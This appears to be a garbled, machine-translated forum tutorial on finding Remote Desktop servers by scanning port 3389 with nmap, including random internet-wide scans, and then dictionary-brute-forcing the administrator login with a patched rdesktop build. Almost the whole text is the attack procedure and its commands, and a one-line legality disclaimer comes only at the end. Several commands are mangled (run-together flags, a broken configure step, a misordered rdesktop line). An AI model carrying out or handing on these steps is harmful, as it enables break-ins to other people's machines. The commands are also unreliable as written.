The first thing you need to do is to find a terminal server, which is a default on TCP port 3389

You can use the following command for Nmap, or depends on what scanner you use.

Code:

TerminalServer.txt-oN nmap-p 3389 - open 192.168.0.0/24

where instead of 192.168.0.0/24 IPs you specify that you want to scanners. Nmap will save all tabs TerminalServer.txt meet.

Another command is:
Code:

PS3389-nmap-iR 0-p 3389 - open-oN TerminalServer.txt

instead of 0 put each ip you want to scan. (The default 0 will scan forever) And in this case saves everything TerminalService.txt Nmap, The - - is open to only show open service.

Once you have enough targets to phase No. 2 passing attack Dictionary.
Rdesktop-1.4.1.tar Download.
You have to remove the archive with the command
Code:

tar-xf rdesktop-1.4.1.tar

Then go where you opened the archive,
Code:

cd rdesktop-1.4.1

And give the following command for patch
Code:

patch-p1-i rdp-brute-force-r422.diff

Now you have to compile:
Code:

. / Configure

Code:

make

Code:

make install

after you have finished give rdesktop command and will show all the options.

Ex:
Code:

rdesktop-u administrator-p 192.168.1.1 pass.txt

dictionary of words which is pass.txt

An administator will set it so that some will allow only a few attempts and close the rest.
This is illegal, you should be licensed before doing a scan on any network.
Everything can be saved In a log file.
